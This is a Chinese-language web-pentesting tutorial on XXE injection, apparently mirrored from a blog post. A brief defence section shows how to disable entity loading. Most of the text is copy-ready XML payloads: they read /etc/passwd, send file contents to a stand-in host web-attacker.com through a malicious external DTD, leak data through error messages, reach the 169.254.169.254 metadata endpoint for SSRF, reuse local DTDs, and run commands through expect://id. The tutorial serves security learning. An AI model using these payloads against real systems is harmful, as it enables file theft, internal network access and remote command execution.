zoukankan      html  css  js  c++  java
  • 4.10 XXE

    参考:

    https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity

    https://portswigger.net/web-security/xxe

    https://www.cnblogs.com/20175211lyz/p/11413335.html

    https://www.vsecurity.com/download/publications/XMLDTDEntityAttacks.pdf

    简介

    什么是 XXE

    XXE ,XML external entity injection 的简写。其本质原因是因为一些应用程序使用 XML 格式在浏览器和服务器之间传输数据。并且服务器程序会使用特定的解析程序来解析接收到 XML 数据。而 XML 标准包含各种潜在的危险特性,而标准解析器默认支持这些特性,即使应用程序通常不使用这些特性。

    如果对 XML 不了解请翻阅页面最后部分,简单介绍 XML 基础知识。

    漏洞危害

    可以读取敏感文件、执行 SSRF、DOS,甚至 RCE。

    可能存在的限制:可能不回显数据,则只能通过外部参数实体来获取数据。但很可能禁用外部参数实体。

    使用场景

    当发现数据包中以 XML 的形式进行参数传递,或者将 content-type 更改为 xml 时发现服务器也能正常处理,则可以尝试进行攻击。

    如何攻击

    发现攻击面:数据包、含有 xml 内容的文件

    尝试进行利用。

    如何防御

    过滤相应的关键字,禁用外部实体、

    # 禁用外部实体设置
    PHP:
    	libxml_disable_entity_loader(true);
    JAVA: 
    	DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    	dbf.setExpandEntityReferences(false);
    Python:
    	from lxml import etreexml
    	Data = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    

    发现攻击面

    在探测时首先要确定能否回显数据?是否回显错误信息?如果答案是否,那么就用盲 XXE 探测。

    通常会通过 xml 提交很多数据,要一个个测试哪个会回显。

    1. 数据包中显然使用 XML 。

    2. 尝试更改数据包提交格式,或许程序就支持 xml 解析

      Content-Type: 
      	application/x-www-form-urlencoded
      	application/json;
      	# 更改为
      	application/xml;
      
    3. 文件与 XXE 。

      某些文件格式包含 XML 数据,当文件被打开运行时,就有可能出现 XXE。详见这篇

      例如 SVG 、PDF、DOC、EXECL。

      向文件中插入 XSS 、XXE payload 工具 docem

    4. 如果无法控制 xml DTD,但数据最终会转移到 xml 文档中被处理。

      productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
      

      因为不能控制 DTD,所以通常的 XXE 都会失效。但可能可以使用 XInclude 。XInclude 是 XML 一种规范,允许内嵌子文档。

    5. 其它不太常见的,遇到了再检索资料。

      SOAP

      RSS

      XLIFF

    利用方式

    读取文件

    在基于 java 的程序,可能支持列出目录。

    为了使读取文件完整,可以借助 php wrapper 读取文件。

    • 回显数据

      # 直接读取
      <!--?xml version="1.0" ?-->
      <!DOCTYPE foo [
      	<!ENTITY example SYSTEM "/etc/passwd"> 
      ]>
      <data>&example;</data>
      
      # 当可能读取文件不完整时,可以借助 php wrapper
      <!--?xml version="1.0" ?-->
      <!DOCTYPE replace [
      	<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> 
      ]>
      <data>&example;</data>
      
      
      # 通过报错,必须使用外部参数实体,见下文外部参数实体中示例
      
    • 不回显,通过http 请求带出数据

      # 通过 http ,必须使用外部参数实体,见下文外部参数实体中示例
      
    外部参数实体

    通过报错方式、或通过 http 请求带出数据,都需要支持外部参数实体。这块有两点要注意的:

    1. 数据必须是通过参数实体读取到的。本质上讲都是要将数据传给 url ,而 url 位于 dtd 中,只有参数实体才能在 dtd 中使用。
    2. 必须使用外部参数实体,因为实体不允许在 dtd 中嵌套参数实体。而外部参数实体可以。(绝大多数情况下)
    # 当读取文件时,你可能会想到通过 http 请求带出数据。
    # 通过实体方式触发
    <!--?xml version="1.0" ?-->
    <!DOCTYPE foo [
        <!ENTITY % file SYSTEM "file:///etc/hostname">
        <!ENTITY exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>
    ]>
    <data>&exfiltrate;</data> 
    
    # 或者通过参数实体方式触发
    
    <!--?xml version="1.0" ?-->
    <!DOCTYPE foo [
        <!ENTITY % file SYSTEM "file:///etc/hostname">
        <!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>
        %exfiltrate;
    ]>
    
    # 但以上两种方式都是不可行的,会爆出类似错误信息:XML parser exited with non-zero code 1: The parameter entity reference "%file;" cannot occur within markup in the internal subset of the DTD. 
    # 大概意思是参数实体 %file; 不能出现在内部 DTD 内。所以此时需要外部参数 DTD 
    
    # 提交攻击载荷,无论是通过 http、报错,都一样
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
    	<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> 
    	%xxe;
    ]>
    
    # 攻击者控制的 malicious.dtd 恶意 dtd 文件
    <!ENTITY % file SYSTEM "file:///etc/hostname">
    <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
    %eval;
    %exfiltrate;
    
    
    # 这样,可以达到,你可能会疑问,为什么 dtd 文件中要写成这种嵌套的形式。省略掉 eval 不行吗?
    # 实际上,当省略了之后,不会生效,x 的参数值就为 %file; 这六个字符。
    
    # 下面是诱发报错的 dtd 文件内容。
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
    
    
    # dtd 文件名没有要求,不一定后缀必须为 .dtd ,只要是文本文件,内容符合即可
    # http 请求必须完整 http:// 不能简写 \
    
    SSRF
    # 实体
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [ 
    	<!ENTITY xxe SYSTEM "http://169.254.169.254/"> 
    ]>
    <data>&xxe;</data>
    
    # 参数实体
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE test [ 
    	<!ENTITY % xxe SYSTEM "http://169.254.169.254/"> 	
    	%xxe; 
    ]>
    
    RCE

    php wrapper 中有 expect:// ,但默认是不开启的。见 php xxe to rce

    java readObject 如果可以控制 readObject 输入的话。那么可以通过导入 XMLDecoder 类 获取 RCE 。详见 jave xxe to rce

    dos

    dos 攻击,一般很少使用,故只放一个链接 xxe dos

    更多技巧
    多层嵌套的 xxe
    # 多层嵌套的有时可以,但有时不行。
    # 如果网络环境允许的情况下,尽量尝试外部dtd
    <?xml version="1.0" ?>
    <!DOCTYPE message [
        <!ENTITY % condition '
            <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
    	'>
        %condition;
    ]>
    <message>any text</message>
    
    参数实体重用

    当不允许新定义实体,则可以尝试参数实体重用。

    前提是存在可重用的 dtd 文件。

    当出现混用时,内部实体可以重用外部实体中已定义的实体。

    # 使用GNOME桌面环境的系统通常在/usr/share/yelp/td/docbookx.td有一个DTD,其中包含一个名为ISOamso的实体。
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
        <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
        <!ENTITY % ISOamso '
            <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
        '>
        %local_dtd;
    ]>
    <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
    

    https://github.com/GoSecure/dtd-finder 寻找系统内置 dtd 的工具。

    wrapper

    不同语言、不同配置对 wrapper 的支持不同。wrapper 可以扩大利用面。

    img

    下面是 php wrapper 。可以绕过、对文件编码、甚至命令执行等等。

    <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
    
    <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
    
    <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
    
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
    <creds>
        <user>&xxe;</user>
        <pass>mypass</pass>
    </creds>
    
    XML 基础知识
    • XML 是 可扩展标记语言,用来存储和传递数据。但现在逐渐被 json 所取代。

    • XML 使用 DTD(文档类型定义 ) 来约束 XML 文档格式。

    • XML 实体是 XML 文档中表示数据的一种方式,例如 &lt; 会被表示为 < (类似于宏替换)。实体定义在 DTD 中。

      <?xml version="1.0" encoding="UTF-8" standalone="no"?>
      <!DOCTYPE foo [ 
      	# 实体,在文档中使用
      	<!ENTITY myentity "my entity value" >
      	
      	# 参数实体,只能在 DTD 中使用
      	<!ENTITY % myparameterentity "my_parameter_entity_value" >
      	<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%myparameterentity;'>">
      	
      	# 外部实体,代表的是外部资源的内容,在文档中使用
      	<!ENTITY flag SYSTEM "file:///flag.php">
      	<!ENTITY flaga SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
      	
      	# 外部参数实体,引用 dtd 文件,文件内容必须是实体的定义,在参数中使用
      	<!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com/mal.dtd">
      	%xxe;
      ]>
      <data>&myentity;&flag;&flaga;</data>
      
  • 相关阅读:
    POJ 1426 Find The Multiple(数论——中国同余定理)
    POJ 2253 Frogger(Dijkstra变形——最短路径最大权值)
    POJ 3790 最短路径问题(Dijkstra变形——最短路径双重最小权值)
    POJ 3278 Catch That Cow(模板——BFS)
    HDU 1071 The area
    HDU 1213 How Many Tables(模板——并查集)
    POJ 1611 The Suspects
    light oj 1214 Large Division
    POJ 1258 Agri-Net(Prim算法求解MST)
    POJ 2387 Til the Cows Come Home(模板——Dijkstra算法)
  • 原文地址:https://www.cnblogs.com/starrys/p/14698144.html
Copyright © 2011-2022 走看看